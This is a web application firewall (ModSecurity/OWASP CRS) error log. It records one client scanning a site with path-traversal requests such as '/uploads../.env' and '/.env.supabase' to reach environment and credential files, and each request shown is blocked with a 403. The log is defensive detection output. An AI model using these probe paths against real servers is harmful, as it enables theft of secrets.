[Sun Oct 25 22:08:47.441163 2026] [security2:error] [pid 2927273:tid 2927273] [client 34.81.7.133:40272] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "clic3.sherwinpinturas.com"] [uri "/images../.env"] [unique_id "at62LzmmX3asvCDITlDxegAAAAA"]
[Sun Oct 25 22:08:47.441290 2026] [security2:error] [pid 2936921:tid 2936921] [client 34.81.7.133:40214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic3.sherwinpinturas.com"] [uri "/.env.supabase"] [unique_id "at62Lwdfoouc32iEpvzFjwAAAA8"]
[Sun Oct 25 22:08:47.441333 2026] [security2:error] [pid 2927273:tid 2927273] [client 34.81.7.133:40272] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 15)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic3.sherwinpinturas.com"] [uri "/images../.env"] [unique_id "at62LzmmX3asvCDITlDxegAAAAA"]
[Sun Oct 25 22:08:47.441617 2026] [security2:error] [pid 2936921:tid 2936921] [client 34.81.7.133:40214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "clic3.sherwinpinturas.com"] [uri "/.env.supabase"] [unique_id "at62Lwdfoouc32iEpvzFjwAAAA8"]
[Sun Oct 25 22:08:47.441625 2026] [security2:error] [pid 2927273:tid 2927273] [client 34.81.7.133:40272] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 15 - SQLI=0,XSS=0,RFI=0,LFI=15,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "clic3.sherwinpinturas.com"] [uri "/images../.env"] [unique_id "at62LzmmX3asvCDITlDxegAAAAA"]
[Sun Oct 25 22:08:47.524716 2026] [security2:error] [pid 2943050:tid 2943050] [client 34.81.7.133:40228] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /uploads../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "clic3.sherwinpinturas.com"] [uri "/uploads../.env"] [unique_id "at62L4Cf_dn79BGji-V_CAAAAAg"]
[Sun Oct 25 22:08:47.524770 2026] [security2:error] [pid 2943050:tid 2943050] [client 34.81.7.133:40228] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /uploads../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "clic3.sherwinpinturas.com"] [uri "/uploads../.env"] [unique_id "at62L4Cf_dn79BGji-V_CAAAAAg"]
[Sun Oct 25 22:08:47.524835 2026] [security2:error] [pid 2943050:tid 2943050] [client 34.81.7.133:40228] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "clic3.sherwinpinturas.com"] [uri "/uploads../.env"] [unique_id "at62L4Cf_dn79BGji-V_CAAAAAg"]
[Sun Oct 25 22:08:47.525068 2026] [security2:error] [pid 2943050:tid 2943050] [client 34.81.7.133:40228] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 15)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic3.sherwinpinturas.com"] [uri "/uploads../.env"] [unique_id "at62L4Cf_dn79BGji-V_CAAAAAg"]
[Sun Oct 25 22:08:47.525338 2026] [security2:error] [pid 2943050:tid 2943050] [client 34.81.7.133:40228] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 15 - SQLI=0,XSS=0,RFI=0,LFI=15,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "clic3.sherwinpinturas.com"] [uri "/uploads../.env"] [unique_id "at62L4Cf_dn79BGji-V_CAAAAAg"]
[Sun Oct 25 22:08:47.525505 2026] [security2:error] [pid 2943054:tid 2943054] [client 34.81.7.133:40312] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /img../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "clic3.sherwinpinturas.com"] [uri "/img../.env"] [unique_id "at62LwVMbcT9KgS5Oi2M7gAAAA0"]
[Sun Oct 25 22:08:47.525548 2026] [security2:error] [pid 2943054:tid 2943054] [client 34.81.7.133:40312] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /img../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "clic3.sherwinpinturas.com"] [uri "/img../.env"] [unique_id "at62LwVMbcT9KgS5Oi2M7gAAAA0"]
[Sun Oct 25 22:08:47.525610 2026] [security2:error] [pid 2943054:tid 2943054] [client 34.81.7.133:40312] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "clic3.sherwinpinturas.com"] [uri "/img../.env"] [unique_id "at62LwVMbcT9KgS5Oi2M7gAAAA0"]
[Sun Oct 25 22:08:47.525777 2026] [security2:error] [pid 2943054:tid 2943054] [client 34.81.7.133:40312] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 15)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic3.sherwinpinturas.com"] [uri "/img../.env"] [unique_id "at62LwVMbcT9KgS5Oi2M7gAAAA0"]
[Sun Oct 25 22:08:47.526003 2026] [security2:error] [pid 2943054:tid 2943054] [client 34.81.7.133:40312] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 15 - SQLI=0,XSS=0,RFI=0,LFI=15,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "clic3.sherwinpinturas.com"] [uri "/img../.env"] [unique_id "at62LwVMbcT9KgS5Oi2M7gAAAA0"]
[Sun Oct 25 22:08:47.529665 2026] [security2:error] [pid 2941950:tid 2941950] [client 34.81.7.133:40198] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /dist../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "clic3.sherwinpinturas.com"] [uri "/dist../.env"] [unique_id "at62L4Lcv9dw313oUE99-AAAAAM"]
[Sun Oct 25 22:08:47.529724 2026] [security2:error] [pid 2941950:tid 2941950] [client 34.81.7.133:40198] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /dist../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "clic3.sherwinpinturas.com"] [uri "/dist../.env"] [unique_id "at62L4Lcv9dw313oUE99-AAAAAM"]
[Sun Oct 25 22:08:47.529769 2026] [security2:error] [pid 2941950:tid 2941950] [client 34.81.7.133:40198] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "clic3.sherwinpinturas.com"] [uri "/dist../.env"] [unique_id "at62L4Lcv9dw313oUE99-AAAAAM"]
[Sun Oct 25 22:08:47.529923 2026] [security2:error] [pid 2941950:tid 2941950] [client 34.81.7.133:40198] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 15)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic3.sherwinpinturas.com"] [uri "/dist../.env"] [unique_id "at62L4Lcv9dw313oUE99-AAAAAM"]
[Sun Oct 25 22:08:47.530146 2026] [security2:error] [pid 2941950:tid 2941950] [client 34.81.7.133:40198] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 15 - SQLI=0,XSS=0,RFI=0,LFI=15,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "clic3.sherwinpinturas.com"] [uri "/dist../.env"] [unique_id "at62L4Lcv9dw313oUE99-AAAAAM"]
[Sun Oct 25 22:08:47.531545 2026] [security2:error] [pid 2943053:tid 2943053] [client 34.81.7.133:40318] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /public../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "clic3.sherwinpinturas.com"] [uri "/public../.env"] [unique_id "at62L_xrZFXBolpOk9S1ewAAAAw"]
[Sun Oct 25 22:08:47.531604 2026] [security2:error] [pid 2943053:tid 2943053] [client 34.81.7.133:40318] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /public../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "clic3.sherwinpinturas.com"] [uri "/public../.env"] [unique_id "at62L_xrZFXBolpOk9S1ewAAAAw"]
[Sun Oct 25 22:08:47.531663 2026] [security2:error] [pid 2943053:tid 2943053] [client 34.81.7.133:40318] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "clic3.sherwinpinturas.com"] [uri "/public../.env"] [unique_id "at62L_xrZFXBolpOk9S1ewAAAAw"]
[Sun Oct 25 22:08:47.531926 2026] [security2:error] [pid 2943053:tid 2943053] [client 34.81.7.133:40318] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 15)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic3.sherwinpinturas.com"] [uri "/public../.env"] [unique_id "at62L_xrZFXBolpOk9S1ewAAAAw"]
[Sun Oct 25 22:08:47.532179 2026] [security2:error] [pid 2943053:tid 2943053] [client 34.81.7.133:40318] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 15 - SQLI=0,XSS=0,RFI=0,LFI=15,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "clic3.sherwinpinturas.com"] [uri "/public../.env"] [unique_id "at62L_xrZFXBolpOk9S1ewAAAAw"]
[Sun Oct 25 22:08:47.576628 2026] [security2:error] [pid 2942316:tid 2942316] [client 34.81.7.133:40288] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /js../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "clic3.sherwinpinturas.com"] [uri "/js../.env"] [unique_id "at62L7Zn9l1fDWzMN3C81wAAAAQ"]
[Sun Oct 25 22:08:47.576678 2026] [security2:error] [pid 2942316:tid 2942316] [client 34.81.7.133:40288] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /js../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "clic3.sherwinpinturas.com"] [uri "/js../.env"] [unique_id "at62L7Zn9l1fDWzMN3C81wAAAAQ"]
[Sun Oct 25 22:08:47.576724 2026] [security2:error] [pid 2942316:tid 2942316] [client 34.81.7.133:40288] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "clic3.sherwinpinturas.com"] [uri "/js../.env"] [unique_id "at62L7Zn9l1fDWzMN3C81wAAAAQ"]
[Sun Oct 25 22:08:47.576895 2026] [security2:error] [pid 2942316:tid 2942316] [client 34.81.7.133:40288] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 15)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic3.sherwinpinturas.com"] [uri "/js../.env"] [unique_id "at62L7Zn9l1fDWzMN3C81wAAAAQ"]
[Sun Oct 25 22:08:47.577148 2026] [security2:error] [pid 2942316:tid 2942316] [client 34.81.7.133:40288] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 15 - SQLI=0,XSS=0,RFI=0,LFI=15,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "clic3.sherwinpinturas.com"] [uri "/js../.env"] [unique_id "at62L7Zn9l1fDWzMN3C81wAAAAQ"]
[Sun Oct 25 22:08:47.583714 2026] [security2:error] [pid 2926323:tid 2926323] [client 34.81.7.133:40222] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /build../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "clic3.sherwinpinturas.com"] [uri "/build../.env"] [unique_id "at62Ly7g7KvJoU2B-eLMXAAAAAY"]
[Sun Oct 25 22:08:47.583780 2026] [security2:error] [pid 2926323:tid 2926323] [client 34.81.7.133:40222] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /build../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "clic3.sherwinpinturas.com"] [uri "/build../.env"] [unique_id "at62Ly7g7KvJoU2B-eLMXAAAAAY"]
[Sun Oct 25 22:08:47.583828 2026] [security2:error] [pid 2926323:tid 2926323] [client 34.81.7.133:40222] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "clic3.sherwinpinturas.com"] [uri "/build../.env"] [unique_id "at62Ly7g7KvJoU2B-eLMXAAAAAY"]
[Sun Oct 25 22:08:47.583974 2026] [security2:error] [pid 2926323:tid 2926323] [client 34.81.7.133:40222] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 15)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic3.sherwinpinturas.com"] [uri "/build../.env"] [unique_id "at62Ly7g7KvJoU2B-eLMXAAAAAY"]
[Sun Oct 25 22:08:47.584205 2026] [security2:error] [pid 2926323:tid 2926323] [client 34.81.7.133:40222] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 15 - SQLI=0,XSS=0,RFI=0,LFI=15,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "clic3.sherwinpinturas.com"] [uri "/build../.env"] [unique_id "at62Ly7g7KvJoU2B-eLMXAAAAAY"]
[Sun Oct 25 22:08:47.605147 2026] [security2:error] [pid 2943051:tid 2943051] [client 34.81.7.133:40262] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /css../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "clic3.sherwinpinturas.com"] [uri "/css../.env"] [unique_id "at62L_v3Bqe9ulig-nTwrAAAAAk"]
[Sun Oct 25 22:08:47.605214 2026] [security2:error] [pid 2943051:tid 2943051] [client 34.81.7.133:40262] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /css../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "clic3.sherwinpinturas.com"] [uri "/css../.env"] [unique_id "at62L_v3Bqe9ulig-nTwrAAAAAk"]
[Sun Oct 25 22:08:47.605313 2026] [security2:error] [pid 2943051:tid 2943051] [client 34.81.7.133:40262] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "clic3.sherwinpinturas.com"] [uri "/css../.env"] [unique_id "at62L_v3Bqe9ulig-nTwrAAAAAk"]
